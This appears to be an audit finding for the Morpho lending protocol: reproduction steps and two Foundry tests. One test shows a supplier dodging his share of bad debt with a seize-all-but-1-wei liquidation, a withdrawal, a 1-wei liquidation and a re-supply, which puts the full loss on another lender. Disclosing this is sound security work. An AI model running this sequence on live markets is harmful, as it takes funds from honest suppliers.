Steps to reproduce:
Copy full both test cases from this gist within the contract LiquidateIntegrationTest.
Run both tests with:
forge test -vv --match-test testBadDebt
Test cases are:
testBadDebtNoAvoidance: Tests ideal scenario where bad debt is socialized among all suppliers equally.testBadDebtAvoidance: Showcases how a malicious supplier can execute this attack to skip the bad debt socialization and force it on all existing suppliers.
function testBadDebtAvoidance() public {
// Scenario: Collateral is ETH, borrowable token is USDC
// 2 suppliers with 5k USDC each, supplier 1 is the victim Alice, supplier 2 is the attacker, Bob.
// 1 borrower, Charlie, deposits 4 ETH at 2000$ price and borrows the max amount at 80% LLTV (1600$)
// Price changes to 1500$
// Bob liquidates Charlie's collateral - 1 wei, withdraws liquidity, liquidates 1 wei, deposits liquidity
// End result should be that his position is worth 5k USDC, and Alice's position is worth 4k USDC
uint256 borrowerCollateral = 4 ether; // Borrower posts 1 ETH as collateral
uint256 borrowAmount = 6_400_000_000; // 6.4e9 = 6400 e6 = 6400 USDC (8000 USDC worth of collateral x 80% LLTV = 6400 USDC max borrow amount)
uint256 supplier1Amount = 5_000_000_000; // 5e9 = 5000 e6 = 5000 USDC
uint256 supplier2Amount = 5_000_000_000; // 5e9 = 5000 e6 = 5000 USDC
address victim = SUPPLIER; // The supplier 1 will be the victim
address attacker = LIQUIDATOR; // The liquidator will be the supplier 2, and the attacker
address borrower = BORROWER; // The borrower will simply borrow and then face liquidation
// Impersonate Alice (victim), approve Morpho and supply 5k USDC
vm.startPrank(victim);
borrowableToken.setBalance(victim, supplier1Amount);
borrowableToken.approve(address(morpho), type(uint256).max);
morpho.supply(marketParams, supplier1Amount, 0, victim, hex"");
uint256 victimInitialShares = 0.005 ether; // This will be helpful at the end
vm.stopPrank();
// Impersonate Bob(attacker and liquidator), approve Morpho and supply 5k USDC
vm.startPrank(attacker);
borrowableToken.setBalance(attacker, supplier2Amount);
borrowableToken.approve(address(morpho), type(uint256).max);
morpho.supply(marketParams, supplier2Amount, 0, attacker, hex"");
vm.stopPrank();
// At this point, total market supply should be 10k USDC
uint256 totalSupplyBeforeLiquidation = morpho.totalSupplyAssets(id);
assertEq(totalSupplyBeforeLiquidation, supplier1Amount + supplier2Amount, "!supply balances before liquidation");
// Force oracle to report 2000$ price per ETH (2000e(-12) * 1e36)
// 1 WEI = 2000e6 USDT * 1e36 / 1e18 ETH = 2000e24
oracle.setPrice(2000e24);
// Impersonate Charlie to deposit 4 ETH as collateral and borrow the max amount of 6400 USDC
vm.startPrank(borrower);
collateralToken.setBalance(borrower, borrowerCollateral);
morpho.supplyCollateral(marketParams, borrowerCollateral, borrower, hex"");
morpho.borrow(marketParams, borrowAmount, 0, borrower, borrower);
vm.stopPrank();
// At this point, Morpho should have 4 ETH in total collateral and Charlie should have 6400 USDC
assertEq(collateralToken.balanceOf(address(morpho)), borrowerCollateral, "!collateral balance");
assertEq(borrowableToken.balanceOf(borrower), borrowAmount, "!borrowed balance");
// Force price of ETH to go down to 1.5k$ per ETH (1500e(-12) * 1e36 = 1500e24)
// 1 WEI = 1500e6 USDT * 1e36 / 1e18 ETH = 1500e24
oracle.setPrice(1500e24);
// This causes the borrower Charlie's position to become unhealthy
// The attacker Bob wants to avoid getting his fair share of bad debt, so performs the following attack:
vm.startPrank(attacker);
// 0) Get enough USDC to repay the bad debt somewhere else
uint256 extraUsdcBalance = 10_000_000_000; // 10000 USDC, more than enough
borrowableToken.setBalance(attacker, extraUsdcBalance);
// 1) Liquidate Charlie by seizing exactly `borrowerCollateral` - 1 wei, so that bad debt is not socialized
uint256 collateralToSeize = borrowerCollateral - 1;
morpho.liquidate(marketParams, borrower, collateralToSeize, 0, hex"");
uint256 totalSupplyAfterLiquidation = morpho.totalSupplyAssets(id);
// 2) At this point, the Bob should have received the entire Charlie's collateral - 1 wei
assertEq(collateralToken.balanceOf(attacker), collateralToSeize, "!liquidated collateral not received");
// 2.1) Additionally, bad debt should not be have been socialized. If this is the case, total supply assets will
// not have been reduced from the initial 10k USDC.
assertEq(totalSupplyBeforeLiquidation, totalSupplyAfterLiquidation, "bad debt was socialized when it was not expected");
// 3) Bob can withdraw his entire supplied amount, avoiding the bad debt socialization
uint256 attackerBorrowableBalanceBeforeWithdraw = borrowableToken.balanceOf(attacker);
morpho.withdraw(marketParams, supplier2Amount, 0, attacker, attacker);
assertLe(attackerBorrowableBalanceBeforeWithdraw, borrowableToken.balanceOf(attacker), "!withdraw");
assertEq(morpho.totalSupplyAssets(id), totalSupplyAfterLiquidation - supplier2Amount, "expected total supply change did not happen");
// 4) Bob has successfully exited his position fully. Now he charges the bad debt on top of the honest supplier (Alice)
// Achieve that by executing a secondary liquidation of just 1 wei
totalSupplyBeforeLiquidation = morpho.totalSupplyAssets(id); // Reset value
collateralToSeize = 1;
morpho.liquidate(marketParams, borrower, collateralToSeize, 0, hex"");
// If liquidation was successful, total supply should have been decreased by the generated bad debt of ~ 760 USDC.
uint256 badDebtSocialized = totalSupplyBeforeLiquidation - morpho.totalSupplyAssets(id);
assertGt(badDebtSocialized, 0, "!bad debt socialized");
// 5) Bob re-supplies the original amount
morpho.supply(marketParams, supplier2Amount, 0, attacker, hex"");
// 6) The attack is over. Total supplied assets should be the combined original amounts - bad debt,
// and since the attacker just deposited the original amount, he still is entitled to the same supply amount.
// The entire bad debt was allocated to the honest passive supplier Alice.
uint256 initialTotalSupply = supplier1Amount + supplier2Amount;
uint256 finalTotalSupply = morpho.totalSupplyAssets(id);
assertEq(finalTotalSupply, initialTotalSupply - badDebtSocialized);
vm.stopPrank();
// 7) Finally, if the victim tries now to withdraw her full shares, she is going to
// receive the initially supplied amount - the bad debt.
vm.startPrank(victim);
uint256 victimBalanceBeforeWithdrawal = borrowableToken.balanceOf(victim);
morpho.withdraw(marketParams, 0, victimInitialShares, victim, victim);
uint256 withdrawnAmount = borrowableToken.balanceOf(victim) - victimBalanceBeforeWithdrawal;
uint256 victimLoss = supplier1Amount - withdrawnAmount;
vm.stopPrank();
// 8) Verify a loss was made, larger than the expected one.
console.log("Bad debt generated:", badDebtSocialized);
console.log("Victim suffered a loss of:", victimLoss);
uint256 expectedFairLoss = badDebtSocialized / 2;
assertGt(victimLoss, expectedFairLoss, "!loss lower than expected");
}function testBadDebtNoAvoidance() public {
// Scenario: Collateral is ETH, borrowable token is USDC
// 2 suppliers with 5k USDC each, supplier 1 is the victim Alice, supplier 2 is the attacker, Bob.
// 1 borrower, Charlie, deposits 4 ETH at 2000$ price and borrows the max amount at 80% LLTV (1600$)
// Price changes to 1500$
// Charlie liquidates full collateral
// End result should be that his position is worth 4.5k USDC, and the other supplier's position is worth 4.5k USDC
uint256 borrowerCollateral = 4 ether; // Borrower posts 1 ETH as collateral
uint256 borrowAmount = 6_400_000_000; // 6.4e9 = 6400 e6 = 6400 USDC (8000 USDC worth of collateral x 80% LLTV = 6400 USDC max borrow amount)
uint256 supplier1Amount = 5_000_000_000; // 5e9 = 5000 e6 = 5000 USDC
uint256 supplier2Amount = 5_000_000_000; // 5e9 = 5000 e6 = 5000 USDC
address victim = SUPPLIER; // The supplier 1 will be the victim
address attacker = LIQUIDATOR; // The liquidator will be the supplier 2, and the attacker
address borrower = BORROWER; // The borrower will simply borrow and then face liquidation
// Impersonate Alice (victim), approve Morpho and supply 5k USDC
vm.startPrank(victim);
borrowableToken.setBalance(victim, supplier1Amount);
borrowableToken.approve(address(morpho), type(uint256).max);
morpho.supply(marketParams, supplier1Amount, 0, victim, hex"");
uint256 victimInitialShares = 0.005 ether; // This will be helpful at the end
vm.stopPrank();
// Impersonate Bob (attacker and liquidator), approve Morpho and supply 5k USDC
vm.startPrank(attacker);
borrowableToken.setBalance(attacker, supplier2Amount);
borrowableToken.approve(address(morpho), type(uint256).max);
morpho.supply(marketParams, supplier2Amount, 0, attacker, hex"");
vm.stopPrank();
// At this point, total market supply should be 10k USDC
uint256 totalSupplyBeforeLiquidation = morpho.totalSupplyAssets(id);
assertEq(totalSupplyBeforeLiquidation, supplier1Amount + supplier2Amount, "!supply balances before liquidation");
// Force oracle to report 2000$ price per ETH (2000e(-12) * 1e36)
// 1 WEI = 2000e6 USDT * 1e36 / 1e18 ETH = 2000e24
oracle.setPrice(2000e24);
// Impersonate borrower Charlie to deposit 4 ETH as collateral and borrow the max amount of 6400 USDC
vm.startPrank(borrower);
collateralToken.setBalance(borrower, borrowerCollateral);
morpho.supplyCollateral(marketParams, borrowerCollateral, borrower, hex"");
morpho.borrow(marketParams, borrowAmount, 0, borrower, borrower);
vm.stopPrank();
// At this point, Morpho should have 4 ETH in total collateral and Charlie should have 6400 USDC
assertEq(collateralToken.balanceOf(address(morpho)), borrowerCollateral, "!collateral balance");
assertEq(borrowableToken.balanceOf(borrower), borrowAmount, "!borrowed balance");
// Force price of ETH to go down to 1.5k$ per ETH (1500e(-12) * 1e36 = 1500e24)
oracle.setPrice(1500e24);
// This causes the borrower Charlie's position to become unhealthy
// The attacker Bob wants to avoid getting his fair share of bad debt, so performs the following attack:
vm.startPrank(attacker);
// 0) Get enough USDC to repay the bad debt somewhere else
uint256 extraUsdcBalance = 10_000_000_000; // 10000 USDC, more than enough
borrowableToken.setBalance(attacker, extraUsdcBalance);
// 1) Liquidate the borrower Charlie by seizing exactly at 100%, so that bad debt is socialized
uint256 collateralToSeize = borrowerCollateral;
morpho.liquidate(marketParams, borrower, collateralToSeize, 0, hex"");
uint256 totalSupplyAfterLiquidation = morpho.totalSupplyAssets(id);
// 2) At this point, the attacker Bob should have received the entire borrower collateral
assertEq(collateralToken.balanceOf(attacker), collateralToSeize, "!liquidated collateral not received");
// If liquidation was successful, total supply should have been decreased by the generated bad debt of ~ 760 USDC.
uint256 badDebtSocialized = totalSupplyBeforeLiquidation - morpho.totalSupplyAssets(id);
assertGt(badDebtSocialized, 0, "!bad debt socialized");
// 3) The liquidation is over. Total supplied assets should be the combined original amounts - bad debt,
// The entire bad debt should be socialized equally.
uint256 initialTotalSupply = supplier1Amount + supplier2Amount;
uint256 finalTotalSupply = morpho.totalSupplyAssets(id);
assertEq(finalTotalSupply, initialTotalSupply - badDebtSocialized);
vm.stopPrank();
// 4) Finally, if the honest user Alice tries now to withdraw her full shares, she is going to
// receive the initially supplied amount - the bad debt portion.
vm.startPrank(victim);
uint256 victimBalanceBeforeWithdrawal = borrowableToken.balanceOf(victim);
morpho.withdraw(marketParams, 0, victimInitialShares, victim, victim);
uint256 withdrawnAmount = borrowableToken.balanceOf(victim) - victimBalanceBeforeWithdrawal;
uint256 victimLoss = supplier1Amount - withdrawnAmount;
vm.stopPrank();
// 5) Verify a loss was made, larger than the expected fair one.
console.log("Bad debt generated:", badDebtSocialized);
console.log("Victim suffered a loss of:", victimLoss);
uint256 expectedFairLoss = badDebtSocialized / 2 + 1; // Rounding issue, 1 wei extra
assertEq(victimLoss, expectedFairLoss, "!loss lower than expected");
}